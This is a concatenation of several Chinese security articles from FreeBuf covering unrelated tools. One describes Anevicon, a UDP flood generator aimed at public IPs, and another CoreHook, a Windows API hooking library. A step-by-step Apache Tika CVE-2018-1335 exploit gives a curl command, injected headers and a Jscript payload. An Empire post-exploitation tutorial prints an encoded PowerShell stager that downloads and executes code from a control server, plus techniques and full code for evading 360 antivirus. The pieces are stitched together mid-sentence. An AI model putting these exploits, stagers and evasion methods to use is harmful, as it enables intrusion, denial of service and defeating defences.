Anevicon是一款向服务器发送大量UDP数据包,模拟黑客可能产生活动的工具。此工具还可以用作机器人来模拟Anevicon核心库实现的。

特征

Linux的加速Anevicon使用特定于Linux 的现有版本下载预编译的二进制文件,这不需要任何外部软件(与之前的两种方法不同)。

选项

anevicon 5.1.0
Temirkhan Myrzamadi <[email protected]>
A high-performant UDP-based load generator, written in Rust.
USAGE:
    anevicon [FLAGS] [OPTIONS] --receiver <SOCKET-ADDRESS>...
FLAGS:
    -b, --allow-broadcast    Allow sockets to send packets to a broadcast
                             address
    -h, --help               Prints help information
        --select-if          Displays an interactive menu of network interfaces
                             to use. If unset, a default one will be used.
                             
                             This option conflicts with the `--sender` because
                             it will automatically bind an appropriate
                             interface's IP.
    -V, --version            Prints version information
OPTIONS:
        --date-time-format <STRING>
            A format for displaying local date and time in log messages. Type
            `man strftime` to see the format specification [default: %X]
        --ip-ttl <UNSIGNED-INTEGER>
            Specifies the IP_TTL value for all future sockets. Usually this
            value equals a number of routers that a packet can go through
    -l, --packet-length <POSITIVE-INTEGER>
            Repeatedly send a random-generated packet with a specified bytes
            length. The default is 32768
    -p, --packets-count <POSITIVE-INTEGER>
            A count of packets for sending. When this limit is reached, then the
            program will exit [default: 18446744073709551615]
        --packets-per-syscall <POSITIVE-INTEGER>
            A count of packets which the program will send using only one
            syscall. After the operation completed, a test summary will have
            been printed [default: 600]
    -r, --receiver <SOCKET-ADDRESS>...
            A receiver of generated traffic, specified as an IP-address and a
            port number, separated by a colon.
            
            This option can be specified several times to identically test
            multiple receivers in parallel mode.
    -f, --send-file <FILENAME>
            Interpret the specified file content as a single packet and
            repeatedly send it to each receiver
    -m, --send-message <STRING>
            Interpret the specified UTF-8 encoded text message as a single
            packet and repeatedly send it to each receiver
        --send-periodicity <TIME-SPAN>
            A time interval between sendmmsg syscalls. This option can be used
            to decrease test intensity [default: 0secs]
    -t, --send-timeout <TIME-SPAN>
            A timeout of sending every single packet. If a timeout is reached,
            then a packet will be sent later [default: 10secs]
    -s, --sender <SOCKET-ADDRESS>
            A sender of generated traffic, specified as an IP-address and a port
            number, separated by a colon [default: 0.0.0.0:0]
    -d, --test-duration <TIME-SPAN>
            A whole test duration. When this limit is reached, then the program
            will exit.
            
            Exit might occur a few seconds later because of long sendmmsg
            syscalls. For more precision, decrease the `--packets-per-syscall`
            value. [default: 64years 64hours 64secs]
    -v, --verbosity <LEVEL>
            Enable one of the possible verbosity levels. The zero level doesn't
            print anything, and the last level prints everything [default: 3]
            [possible values: 0, 1, 2, 3, 4, 5]
    -w, --wait <TIME-SPAN>
            A waiting time span before a test execution used to prevent a launch
            of an erroneous (unwanted) test [default: 5secs]
For more information see <https://github.com/Gymmasssorla/anevicon>.

命令

您所需要的只是提供测试服务器地址,该地址由一个IP地址和一个端口号组成,用冒号字符分隔。默认情况下,所有发送套接字都将具有您的本地地址:

#使用您的本地地址测试example.com网站的80端口 
$ anevicon --receiver = 93.184.216.34:80

自定义消息

默认情况下,Anevicon将生成具有指定大小的随机数据包。在某些基于UDP的测试中,数据包内容是有意义的,这就是您可以使用--send-file--send-message选项指定它的方式:

#使用自定义文件'message.txt'测试example.com的80端口 
$ anevicon --receiver=93.184.216.34:80 --send-file="message.txt"
#使用自定义文本消息测试example.com的80端口 
$ anevicon --receiver=93.184.216.34:80 --send-message="How do you do?"

多个接收器

Anevicon还具有以并行模式测试多个接收器的功能,从而将负载分配到处理器内核上。为此,只需--receiver多次指定该选项即可。

#并行测试example.com的80端口和google.com的13端口 
$ anevicon --receiver=93.184.216.34:80 --receiver=216.58.207.78:13

测试强度

在某些情况下,您不需要传输最大可能数量的数据包,您可能希望降低数据包发送的强度。为此,还有一个简单的选项叫做--send-periodicity

#在每个sendmmsg系统调用后测试example.com等待270微秒 
$ anevicon --receiver=93.184.216.34:80 --send-periodicity=270us

结束条件

请注意,由于安全原因,上述命令可能无法在您的系统上运行。为了让你的测试确定性,有两个终止条件称为--test-duration--packets-count(测试持续时间和包分别计数,):

#使用两个限制选项测试example.com站点的80端口 
$ anevicon --receiver=93.184.216.34:80 --test-duration=3min --packets-count=7000

网络接口

还可以将所有未来套接字绑定到特定网络接口。考虑--select-if标志,它在命令行中显示网络接口的交互式菜单:

#使用自定义网络接口测试example.com,使用`--select-if` 
$ anevicon --receiver=93.184.216.34:80 --select-if

记录选项

考虑指定从0到5(包含)的自定义详细级别,该级别由--verbosity选项完成。还有一个--date-time-format选项告诉Anevicon使用您的自定义日期时间格式。

#使用自定义日期时间格式和最后一个详细级别 
$ anevicon --receiver=64.233.165.113:80 --date-time-format="%F" --verbosity=5

Cargo.toml

[dependencies]
anevicon_core = "*"

SRC / main.rs

该程序只需将四个数据包发送到<http://example.com/>。现在,您可以按照

网络接口

2.png

详细信息

3.png

目标平台

与大多数测试实用程序一样,该项目仅针对基于Linux的系统进行开发,测试和维护。如果您是Windows用户,则可能需要具有GNU / Linux 的参考来源:github,FB小编周大涛编译,转载请注明来自FreeBuf.COM

今天为大家介绍一款基于.NET Core运行时实现的Windows HOOK库,CoreHook

建立状态

构建服务器 平台
AppVeyor windows
Azure管道 Linux,Windows
Travis CI Linux

特征

1.拦截公共API函数,如CreateFile

2.如果符号文件可用,则按地址或名称拦截内部函数;

3.支持插件库的NuGet包引用;

4.支持插件的多种架构;

有关更多信息,请参阅wiki

支持的平台

CoreHook支持在运行Windows的各种体系结构上进行应用程序函数调用拦截。还计划了Linux和macOS支持。

平台

Architecture 操作系统
x86 Windows
x64 Windows
ARM Windows 10 IoT Core

经过测试的平台

操作系统 架构
Windows 7 SP1 x86,x64
Windows 8.1 x86,x64
Windows 10(Win32) x86,x64,ARM
Windows 10(UWP) x86,x64
Windows Server 2008 x86,x64
Windows Server 2012 x86,x64
Windows Server 2016 x86,x64
Windows Server 2019 x86,x64

依赖

1..NET核心

2.CoreHook.Hooking

3.CoreHook.Host

例子

1.FileMonitor – 通用Windows平台(UWP)

2.FileMonitor – Windows桌面应用程序(Win32)

插件示例

1.可以在此存储库中找到更多插件示例

用法

windows

如果要构建CoreHook项目(例如,使用dotnet build)而不发布它,则必须按如下所述设置项目配置。

项目配置

该项目提供了两个配置运行时的选项:

名为CoreHook.CoreLoad.runtimeconfig.json (位于CoreHook.CoreLoad.dllCoreHook输出目录中的程序集)的本地配置文件,用于初始化CoreCLR。

全局配置文件dotnet.runtimeconfig.json

主机模块将首先尝试使用本地配置文件,然后它将检查全局配置文件(如果存在),最后它将使用CoreHook.CoreLoad.dll程序集的目录来解析依赖项。

runtimeconfig文件必须包含用于在目标应用程序中托管.NET Core的框架信息。构建任何.NET Core应用程序时,会将这些文件生成到输出目录。有关配置选项的更多信息,请参见此处

你可以使用CoreHook.FileMonitor.runtimeconfig.jsonCoreHook.FileMonitor.runtimeconfig.dev.json构建输出目录中文件作为创建全局或本地配置文件的参考。

运行时配置文件应如下所示,其中additionalProbingPaths包含主机模块可以检查其他依赖项的文件路径。本指南假设您已.NET Core 2.2为x86和x64体系结构安装了运行时或SDK。

注意:使用<user> 本地计算机用户名替换或修改指向NuGet软件包安装位置的路径。看看CoreHook.FileMonitor.runtimeconfig.dev.json在输出目录中找到。

  { 
"runtimeOptions": {
  "tfm": "netcoreapp2.2",
  "framework": {
    "name": "Microsoft.NETCore.App",
    "version": "2.2.0
  },
  "additionalProbingPaths": [
    "C:\\Users\\<user>\\.dotnet\\store\\|arch|\\|tfm|",
    "C:\\Users\\<user>\\.nuget\\packages",
    "C:\\Program Files\\dotnet\\sdk\\NuGetFallbackFolder"
  ]
}
}

本地配置

要使用本地配置,请创建一个包含上述内容的文件,CoreHook.CoreLoad.runtimeconfig.json并将其保存到所在的项目输出目录中CoreHook.CoreLoad.dll

全局配置

要使用全局配置,请首先dotnet.runtimeconfig.json使用上述内容创建一个文件并将其保存到文件夹中。这将是项目用于初始化目标进程中的运行时的全局配置文件。在此示例中,我们的文件保存在C:\CoreHook\dotnet.runtimeconfig.json

x86x64应用程序的环境变量设置为运行时配置文件的目录。这允许您为应用程序32-bit64-bit应用程序提供不同的配置文件。

例如(如果您将文件保存为另一个安装目录或驱动器,请确保使用该路径):

1.设置CORE_ROOT_32C:\CoreHook32-bit应用。

2.设置CORE_ROOT_64C:\CoreHook64-bit应用。

setx  CORE_ROOT_64  “C:\ CoreHook”  
setx CORE_ROOT_32 “C:\ CoreHook”

或者将它们设置为当前命令提示会话:

set CORE_ROOT_64=C:\CoreHook 
set CORE_ROOT_32=C:\CoreHook

然后,您可以打开CoreHook解决方案Visual Studio或运行dotnet build以构建库和示例。

安装依赖项

CoreHook.HookingCoreHook.Host构建或下载二进制版本。您可以使用download-deps脚本,该脚本将最新的二进制版本下载到deps项目根目录中调用的文件夹中。将coreload32.dll (X86, ARM)和/或coreload64.dll (X64, ARM64)二进制文件放在程序的输出目录中。然后,将corehook32.dll (X86, ARM)和/或corehook64.dll (X64, ARM64)二进制文件放在同一个输出目录中。这些是使用上述示例所需的所有文件。

然后,您可以启动上面构建的程序。

Windows 10 UWP

您可以使用此脚本获取为FileMonitor示例启动UWP应用程序所需的应用程序用户模型标识(AUMID)

  $installedapps = get-AppxPackage 

$aumidList = @()
foreach ($app in $installedapps)
{
  foreach ($id in (Get-AppxPackageManifest $app).package.applications.application.id)
  {
      $aumidList += $app.packagefamilyname + "!" + $id
  }
}

$aumidList

您可以使用$aumidList变量打印列表。

注意:目前无法在.NET Core平台上的管道上设置正确的访问控制,此处正在跟踪问题,因此我们使用P / Invoke kernel32.dll!CreateNamedPipe直接调用。

Windows 10物联网(ARM)

Raspberry Pi本身仅作为部署目标受支持,但也有不受支持的SDK版本。按照此链接阅读有关发布过程的更多信息。

对于Windows 10 IoT Core,您可以通过运行publish.ps1 PowerShell脚本来发布应用程序。

.\publish -example win32 -runtime win-arm

确保还要复制coreload32.dllcorehook32.dll程序目录。例如,应用程序目录结构应如下所示:

  [+]Publish\win32\win-arm\ 
  [+]Hook\
      ...
      [-] CoreHook.FileMonitor.Hook.deps.json
      [-] CoreHook.FileMonitor.Hook.dll
      ...
  ...    
  [-] CoreHook.FileMonitor.dll
  [-] CoreHook.FileMonitor.exe
  [-] corehook32.dll
  [-] coreload32.dll
  ...

然后,您可以将该文件夹复制到您的设备并启动该CoreHook.FileMonitor.exe程序。

发布脚本

PowerShell脚本publish.ps1允许您将示例发布为自包含的可执行文件。默认配置是Release,输出将在Publish目录中,在与发布脚本相同的位置创建。

.\publish -example [uwp|win32] -runtime [Runtime IDentifier] -configuration [Debug|Release] 

例如,命令

.\publish -example win32 -runtime win10-arm    

将创建一个名为Publish/win32/win10-arm/包含该CoreHook.FileMonitor示例的文件夹。

Windows符号支持

CoreHook支持从PDB查找符号名称以获取使用的函数地址LocalHook.GetProcAddress。要使符号查找起作用,您必须将PDB文件放在要挂钩的目标程序的目录中,或将环境变量_NT_SYMBOL_PATH设置为符号服务器。您可以从此处的Microsoft文档中了解有关Windows符号支持的更多信息。

要点:要使用完整的符号查找,您需要同时拥有dbghelp.dll(提供符号查找API)和symsrv.dll(提供符号服务器查找)并在DLL搜索路径中。您可以将这些文件添加到目标程序的目录中,也可以将它们添加到路径中。您可以通过安装 Windows调试工具来获取这两个DLL 。

您可以找到dbghelp.dll和的示例位置symsrv.dll

1.%PROGRAMFILES(X86)%\ Windows Kits \ 10 \ Debuggers \ x86(适用于32位应用程序)

2.%PROGRAMFILES(X86)%\ Windows Kits \ 10 \ Debuggers \ x64(适用于64位应用程序)

您可以将环境变量设置为的示例_NT_SYMBOL_PATH如下:

srv*C:\SymbolCache*https://msdl.microsoft.com/downloads/symbols 

C:\SymbolCache文件夹是本地缓存目录,可以存储或下载符号文件。当Windows需要检索DLL的PDB时,它可以从中下载它们https://msdl.microsoft.com/downloads/symbols并将它们存储在一个文件夹中供调试器使用。

您可以通过运行符号测试来确认是否正确配置了符号支持。

*参考来源:github,FB小编周大涛编译,转载请注明来自FreeBuf.COM

介绍

这篇文章将从一个Apache tika服务器的命令注入漏洞到完全利用的步骤。CVE是https://nvd.nist.gov/vuln/detail/CVE-2018-1335。由于Apache Tika是开源的,我能够通过分析Apache Tika代码来确定问题。虽然命令注入漏洞通常很简单,但要实现完整的远程代码或命令执行需要克服一些障碍。这是由于Java处理执行操作系统命令的方式以及Apache Tika代码本身的一些特性。但在最后,我们仍然可以使用Cscript.exe来执行操作。

什么是Apache Tika

Apache Tika™工具包可从超过一千种不同的文件类型(如PPT,XLS和PDF)中检测和提取元数据和文本。所有这些文件类型都可以通过一个接口进行解析,使得Tika对搜索引擎索引,内容分析,翻译等非常有用。(https://tika.apache.org/

Apache Tika有几个不同的组件:Java库,命令行工具和自带REST API的独立服务器(tika-server)。此攻击特别针对独立服务器,它通过REST API公开https://wiki.apache.org/tika/TikaJAXRS。样本可在https://archive.apache.org/dist/tika/tika-server-1.17.jar找到。

Breaking Down The CVE

我们首先需要阅读issue,看看可以从中获取哪些信息。

原始描述:

在Tika 1.18之前,客户端可以将精心设计的标头发送到tika-server,该标头可用于将命令注入运行tika-server的服务器的命令行。此漏洞仅影响在对不受信任的客户端开放的服务器上运行tika-server的漏洞。

我们可以从这个描述中看到的事情:

1.版本1.18已修补;

2.版本1.17未修补;

3.该漏洞是命令注入;

4.漏洞的入口点是“headers”;

5.这会影响代码的tika-server部分。

有了这些信息,我们现在有了一个识别漏洞的起点。下一步将看看Tika补丁和未补丁版本的差异,特别是tika-server部分。为Java中已知的执行操作系统命令的函数编写Grepping代码是另一个不错的选择。最后,搜索tika-server代码的各个部分,我们可以假设这些报头是某种HTTP请求。

0×01

对tika-server 1.17与1.18源目录进行并行递归比较。只返回一个已修改的文件,如下部分。

1.png

由于目标是在头字段中找到命令注入,所以第一个结果是一个代码块,这个代码块已经添加到补丁版本“ALLOWABLE_HEADER_CHARS”中。这是一个非常好的开始,假设这是补丁试图过滤可用于将命令注入头字段的字符。

继续向下是一个名为“processHeaderConfig”的函数内部的代码,它已在1.18中删除。它使用一些变量来动态创建一个方法,该方法似乎设置了某个对象的属性,并使用HTTP头来执行此操作。

2.png

以下是此功能的说明:

3.png

截图显示了不同属性的前缀,并在此代码的开头定义为静态字符串。

4.png

因此,我们有一些静态字符串可以作为HTTP头文件包含在请求中,并用于设置对象的某些属性。最终header的示例看起来像“X-Tika-OCRsomeproperty:somevalue”,然后将“someproperty”转换为类似于“setSomeproperty()”的函数,并将somevalue作为要设置的值传递给该函数。

5.png

可以看到这里正在使用这个函数,并且在请求中检查了前缀头以确定如何调用该函数。然后,所有需要的参数都从HTTP请求传递到“processHeaderConfig”函数。

查看使用“processHeaderConfig”函数的方式,可以看到正在“TesseractOCRConfig”对象上设置属性。搜索可能使用我们发现的“TesseractOCRConfig”对象的地方:tika-parsers/src/main/java/org/apache/tika/parser/ocr/TesseractOCRParser.java

这是来自“TesseractOCRParser.java”的“doOCR”函数,它将配置属性从我们刚刚发现的“TesseractOCRConfig”对象直接传递到一个字符串数组中,这些字符串用于构造“ProcessBuilder”的命令,然后该过程已开始。

6.png

这看起来很有希望,如果我们将所有信息放在一起,我们应该能够向服务器发出某种HTTP请求,设置一个看起来像“X-Tika-OCRTesseractPath:<some command>”的标题。并将此命令插入cmd字符串并执行。唯一的问题是“config.getTesseractPath()”前缀为另一个我们无法控制的字符“getTesseractProg()”,最终是一个静态字符串“tesseract.exe”。为了解决这个问题,我们可以用双引号包装我们想要执行的命令,Windows将忽略引号后附加的任何内容,只执行我们的注入的命令。

为了进行测试,我们可以使用tika-server文档中的示例来检索有关文件的一些元数据。

7.png

由于OCR用于从图像中提取文本和内容,我们将上传图像而不是docx,以期有望达到“doOCR”功能。

我们最终得到:

curl -T test.tiff http://localhost:9998/meta --header "X-Tika-OCRTesseractPath: \"calc.exe\""

8.png

在上传图像时,通过在PUT请求中将一个命令用双引号括起来作为“X-Tika-OCRTesseractPath”HTTP头的值来标识命令注入。

0×02 不仅仅是弹个计算器

我们直接更改正在执行的应用程序名称。由于该命令作为数组传递给Java ProcessBuilder,因此我们实际上不能运行多个命令,也不能将参数作为单个字符串添加到命令中,否则执行将失败。这是因为将一组字符串传递给Java中的进程构建器或runtime.exec的工作方式如下:

9.png

通常像cmd.exe或/bin/sh这样的shell解释的字符(例如&,<,>,|,`等)不会被ProcessBuilder解释并且将被忽略,因此您不能中断命令或添加任何将它作为单个字符串的参数。不像“X-Tika-OCRTesseractPath: \“cmd.exe /c some args\”这样简单。

回到“cmd”数组的构造,您可以看到我们也控制了命令中的多个参数,这是每个看起来像“config.get*()”的项,但是它被一些我们不控制的其他项分割开了。

10.png

我的第一个想法是运行“cmd.exe”,然后将参数“/c”作为“config.getLanguage()”传入,然后将“|| somecommand ||”作为“config.getPageSegMode()”插入,这虽然可以执行“somecommand”。但是在调用`“doOCR”`之前,还有另一个函数在`“config.getTesseractPath()”`字符串上调用,该字符串只执行该命令(目的是检查是否被调用的应用程序是有效的应用程序)。这里的问题是只运行没有参数的“cmd.exe”并一直挂起,因为“cmd.exe”永远不会退出并让执行继续执行“doOCR”功能。

0×03 解决方案

除了运行单个命令外,我们可以更深入地了解“doOCR”函数使用Process Monitor启动进程时会发生什么。 查看进程的属性,当tika-server启动它时,会生成以下命令行,该命令行是使用inject命令构造的。

"calc.exe"tesseract.exe C:\Users\Test\AppData\Local\Temp\apache-tika-3299124493942985299.tmp C:\Users\Test\AppData\Local\Temp\apache-tika-7317860646082338953.tmp -l eng -psm 1 txt -c preserve_interword_spaces=0

我们控制的命令部分以红色突出显示。我们可以在命令中注入3个地方,1个命令和2个参数。另一个有趣的发现是Tika实际上创建了2个临时文件,其中一个作为第一个参数被传递。

经过一些进一步的调查后,我能够确认传递给命令的第一个临时文件是我上传的文件中的内容。这意味着我可以用一些代码或命令填充该文件并执行它。

现在我必须找到一个原生的Windows应用程序,它将忽略tika-server创建的所有随机杂散参数,并仍然执行第一个文件内容作为某种命令或代码,即使它具有“.tmp”扩展名。找到一些可以做到这一切的事情起初对我来说听起来不太可能。最后我发现了Cscript.exe,它看起来有点希望。我们来看看Cscript可以做些什么。

11.png

Cscript正是我们所需要的。它将第一个参数作为脚本,并允许您使用”//E:engine”标志来指定要使用的脚本引擎(可能是Jscript或VBS),因此文件扩展名无关紧要。将它放入新命令现在看起来如下所示。

"cscript.exe"tesseract.exe C:\Users\Test\AppData\Local\Temp\apache-tika-3299124493942985299.tmp C:\Users\Test\AppData\Local\Temp\apache-tika-7317860646082338953.tmp -l //E:Jscript -psm 1 txt -c preserve_interword_spaces=0

这可以通过设置以下HTTP标头来完成:

X-Tika-OCRTesseractPath: "cscript.exe"X-Tika-OCRLanguage: //E:Jscript

将上传的“image”文件将包含一些Jscript或VBS:

var oShell = WScript.CreateObject("WScript.Shell");var oExec = oShell.Exec('cmd /c calc.exe');

首先,上传失败,因为它不是有效图片,无法验证图像的魔术字节。然后我发现将内容类型设置为“image/jp2”迫使Tika不检查图像中的魔术字节,但仍然通过OCR处理图像。这允许上载包含Jscript的图像。

最后,将所有这些放在一起,我们有完整的command/jscript/vbs脚本。

12.gif

结论

虽然这是一个简单的命令注入,但为了利用,还是需要尝试各种方法的。Apache不建议在不受信任的环境中运行Tika服务器或将其暴露给不受信任的用户。此错误也已修补,当前版本为1.20,因此如果您使用此服务,请确保更新。

PoC:https://github.com/RhinoSecurityLabs/CVEs/tree/master/CVE-2018-1335

*参考来源:rhinosecuritylabs,FB小编周大涛编译,转载请注明来自FreeBuf.COM

什么是Osmedeus?

1.png

Osmedeus允许您自动运行一系列令人敬畏的工具,以针对目标进行侦察和漏洞扫描。

如何使用

如果您不知道自己在做什么,只需输入以下命令或查看高级用法:

./osmedeus.py -t example.com

安装

git clone https://github.com/j3ssie/Osmedeus
cd Osmedeus
./install.sh

这个安装只关注Kali linux,在wiki

特点

子域扫描

子域名TakeOver Scan

目标截图

基本侦察,如Whois,Dig信息

Web技术检测

IP发现

CORS扫描

SSL扫描

头部扫描

端口扫描

易受攻击的扫描

单独的工作空间用于存储所有扫描输出和详细信息记录

REST API

Web UI

支持连续扫描

通知

演示

视频地址:https://asciinema.org/a/230164 

sfasdf

2.png

3.png

4.png

5.png

6.png此工具仅用于教育目的。您对自己的行为负责。如果你在使用这个软件时弄乱了一些东西或违反了任何法律,那就是你的错,而且只是你的错。 

*参考来源:github,FB小编周大涛编译,转载请注明来自FreeBuf.COM

由于最近对Red-Blue Team Operations的研究,我对各种后期开发框架产生了兴趣。自从Windows 7和Windows 10中默认发布PowerShell的广泛采用以来,它已经成为笔测试者和红队的热门选择。以下文章将介绍一个名为Empire(https://github.com/EmpireProject/Empire)的流行框架,其中包含3000多颗星,以及如何在安装了AV的典型工作站上使用它。

安装

Empire的安装非常简单。您可以选择docker方法,或将其安装在主机实例上。有关主机实例的安装步骤,请按照以下命令操作:

git clone https://github.com/EmpireProject/Empire
cd Empire && sudo ./setup/install.sh

在Debian-flavor环境中,安装通常包含apt-update并添加一些apt-source。请耐心等待。以下步骤均基于Ubuntu 16.04.1。某些Windows编译是在带有Visual Stuido的Windows Server 2016上完成的

运行

转到Empire的安装目录并输入sudo ./empire以开始使用。

1.png

监听器

目前支持的监听器Empire

(Empire: listeners) > uselistener
dbx http_com http_hop meterpreter redirector 
http http_foreign http_mapi onedrive 
(Empire: listeners) > uselistener http
(Empire: listeners/http) > ?
Listener Commands
=================
agents Jump to the agents menu.
back Go back a menu.
creds Display/return credentials from the database.
execute Execute the given listener module.
exit Exit Empire.
help Displays the help menu.
info Display listener module options.
launcher Generate an initial launcher for this listener.
listeners Jump to the listeners menu.
main Go back to the main menu.
resource Read and execute a list of Empire commands from a file.
set Set a listener option.
unset Unset a listener option.
(Empire: listeners/http) > info
Name: HTTP[S]
Category: client_server
Authors:
@harmj0y
Description:
Starts a http[s] listener (PowerShell or Python) that uses a
GET/POST approach.
HTTP[S] Options:
Name Required Value Description
---- -------- ------- -----------
SlackToken False Your SlackBot API token to communicate with your Slack instance.
ProxyCreds False default Proxy credentials ([domain\]username:password) to use for request (default, none, or other).
KillDate False Date for the listener to exit (MM/dd/yyyy).
Name True http Name for the listener.
Launcher True powershell -noP -sta -w 1 -enc Launcher string.
DefaultDelay True 5 Agent delay/reach back interval (in seconds).
DefaultLostLimit True 60 Number of missed checkins before exiting
WorkingHours False Hours for the agent to operate (09:00-17:00).
SlackChannel False #general The Slack channel or DM that notifications will be sent to.
DefaultProfile True /admin/get.php,/news.php,/login/ Default communication profile for the agent.
process.php|Mozilla/5.0 (Windows
NT 6.1; WOW64; Trident/7.0;
rv:11.0) like Gecko
Host True http://172.16.3.77:80 Hostname/IP for staging.
CertPath False Certificate path for https listeners.
DefaultJitter True 0.0 Jitter in agent reachback interval (0.0-1.0).
Proxy False default Proxy to use for request (default, none, or other).
UserAgent False default User-agent string to use for the staging request (default, none, or other).
StagingKey True JV+~fgh!GFWZ8=eiEN{[#}&x_XLtHKT7 Staging key for initial agent negotiation.
BindIP True 0.0.0.0 The IP to bind to on the control server.
Port True 80 Port for the listener.
ServerVersion True Microsoft-IIS/7.5 Server header for the control server.
StagerURI False URI for the stager. Must use /download/. Example: /download/stager.php

为了保持对各种网络流量监控的隐秘性,建议使用基于http的侦听器,因为它只会显示为正常的http流量。http-base侦听器所需的选项是 Host, Name and Port

(Empire: listeners/http) > set Name http1
(Empire: listeners/http) > set Port 81
(Empire: listeners/http) > execute
[*] Starting listener 'http1'
[+] Listener successfully started!

例如,http侦听器的流量可能如下所示:

(Empire) > listeners
[*] Active listeners:
Name Module Host Delay/Jitter KillDate
---- ------ ---- ------------ --------
http http http://172.16.x.x:80 5/0.0

Stagers

在我们创建一个监听器之后,我们需要一些东西来包装连接,名为stager。Empire为不同的平台提供不同的Stagers。最简单的stager是Windows上的直接powershell命令:

(Empire: listeners) > launcher powershell http
powershell -noP -sta -w 1 -enc SQBmACgAJABQAFMAVgBFAHIAUwBJAE8AbgBUAGEAYgBMAGUALgBQAFMAVgBlAFIAUwBpAG8ATgAuAE0AYQBqAG8AUgAgAC0AZwBlACAAMwApAHsAJABHAFAARgA9AFsAcgBlAEYAXQAuAEEAcwBTAGUAbQBiAGwAeQAuAEcAZQB0AFQAeQBwAGUAKAAnAFMAeQBzAHQAZQBtAC4ATQBhAG4AYQBnAGUAbQBlA(omitted)

这是所有其他payload的核心。如果您感到好奇,可以直接将其粘贴到命令提示符中进行测试。在其他平台上,类似的逻辑是用Python实现的。

(Empire: listeners) > usestager 
multi/bash osx/dylib windows/backdoorLnkMacro windows/launcher_sct
multi/launcher osx/jar windows/bunny windows/launcher_vbs
multi/macro osx/launcher windows/csharp_exe windows/launcher_xml
multi/pyinstaller osx/macho windows/dll windows/macro
multi/war osx/macro windows/ducky windows/macroless_msword
osx/applescript osx/pkg windows/hta windows/shellcode
osx/application osx/safari_launcher windows/launcher_bat windows/teensy
osx/ducky osx/teensy windows/launcher_lnk

Empire目前支持上面列出的Stagers。您可以测试不同的Windows舞台。选择stager时,使用选项填写必需属性。示例如下:

(Empire: listeners) > usestager multi/pyinstaller
(Empire: stager/multi/pyinstaller) > options
Name: pyInstaller Launcher
Description:
Generates an ELF binary payload launcher for
Empire using pyInstaller.
Options:
Name Required Value Description
---- -------- ------- -----------
Language True python Language of the stager to generate.
SafeChecks True True Switch. Checks for LittleSnitch or a
SandBox, exit the staging process if
true. Defaults to True.
Base64 True False Switch. Base64 encode the output.
Defaults to False.
Listener True Listener to generate stager for.
UserAgent False default User-agent string to use for the staging
request (default, none, or other).
BinaryFile True /tmp/empire File to output launcher to.
(Empire: stager/multi/pyinstaller) > set Listener http1
(Empire: stager/multi/pyinstaller) > execute

样本payload分析

现在让我们对Empire生成的启动器metasploit脚本进行简要介绍。第一个IF脚本块是禁用PowerShell日志记录以绕过Windows Defenders分析的技巧,这在国外非常流行。我在这里不会详细说明,你可以参考引文文件。Windows使用语句检测方法,而一些国内AV将进一步直接阻止PowerShell,如果找到某些关键字。

[SYsTem.NET.SErvIcePOInTMANAgER]::EXPecT100CONtiNuE=0;
$WC=NEW-OBjECT SYstem.NeT.WEBCliENt;
$u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko'; 
$WC.HeAdErS.Add('User-Agent',$u); 
$WC.PRoxY=[SYStem.NEt.WEbREqUEsT]::DEfaulTWEBPrOxY;
$WC.ProxY.CreDEnTials = [SySTEm.NET.CreDenTIalCache]::DeFAUltNETWOrkCReDentIALs;
$Script:Proxy = $wc.Proxy;
$K= [SYStEm.TeXT.ENCodiNG]::ASCII.GEtBytES('JV+~fgh!GFWZ8=eiEN{[#}&x_XLtHKT7');
$R={
$D,$K=$ArgS;
$S=0..255; 
0..255|%{$J=($J+$S[$_]+$K[$_%$K.CoUnt])%256;
$S[$_],$S[$J]=$S[$J],$S[$_]};
$D|%{
$I=($I+1)%256; 
$H=($H+$S[$I])%256; 
$S[$I],$S[$H]=$S[$H],$S[$I]; 
$_-bXoR$S[($S[$I]+$S[$H])%256]
} };
$ser='http://172.16.x.x:80';$t='/news.php';$Wc.HEaDERs.ADd('Cookie','session=4L4ZezFDPx');
$dAta=$WC.DowNlOaDDaATa($sEr+$T);$IV=$dATA[0..3]; 
$DATA=$data[4..$DAtA.LeNgTh];
-joIN[ChAr[]](& $R $datA ($IV+$K))|IEX"

后面的块是功能块。首先,脚本尝试建立与控制服务器的HTTP连接。从响应数据(前四个字节)中检索IV。稍后将使用硬编码密钥来解密函数体。请注意,该块定义了一个$R类似于lambda函数的变量。在最后一行,$data$IV+$K传递给lambda作为$D$K。解密结果char数组被连接并传递给IEX,即Invoke-Expression

样本模块

Empire附带了一些非常有用的模块,其中有界mimikatz模块可用于提取密码和散列令牌,而权限提升模块可用于将权限提升为本地管理员甚至域管理员。

bypass AV

360

当您直接将payload粘贴到cmd时,它很容易被阻止,提示“powershell.exe正在尝试执行”。除了进程监控,我相信360还使用脚本关键字检测来减少误报。但是,由于powershell是一种非常灵活的语言,因此过滤所有恶意请求并不容易。通过二进制搜索,我们推导出了关键字1.-encpowershell参数中的命令行。例如,powershell -enc aaa将被360阻止。2.downloadData 在powershell脚本中将被360检测并阻止。3.声明不允许有两个或更多加号。例如$a+$b;$b+$c将被360阻止。所有这些方法都有一些方法可以绕过。1.对于第一个,您只需简单地删除enc命令参数即可2.对于第二个,请注意我们可以在powershell中使用string作为方法节点。即$c="downl"+"oadData";$a.$c.invoke($bla)3.对于第三个要求,我们可以简单地使用 $a-(-$b);$b-(-$c)

附录

完整的PowerShell代码绕过360

"[SYsTem.NET.SErvIcePOInTMANAgER]::EXPecT100CONtiNuE=0;$WC=NEW-OBjECT SYstem.NeT.WEBCliENt;$u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0)
like Gecko';$WC.HeAdErS.Add('User-Agent',$u);$WC.PRoxY= [SYStem.NEt.WEbREqUEsT]::DEfaulTWEBPrOxY;$WC.ProxY.CreDEnTials = [SySTEm.NET.CreDenTIalCache]::DeFAUltNETWOrkCReDentIALs;$Script:Proxy = $wc.Proxy;$K= [SYStEm.TeXT.ENCodiNG]::ASCII.GEtBytES('JV+~fgh!GFWZ8=eiEN{[#}&x_XLtHKT7');$R= {$D,$K=$ArgS;$S=0..255;0..255|%{$J=($J-(-$S[$_])- (-$K[$_%$K.CoUnt]))%256;$S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%256;$H= ($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];$_- bXoR$S[($S[$I]+$S[$H])%256]}};$ser='http://172.16.3.77:80';$t='/news.php';$Wc.HEaDERs.AD joIN[ChAr[]](& $R $datA ($IV+$K))|IEX"

*参考来源:flanker017,FB小编周大涛编译,转载请注明来自FreeBuf.COM

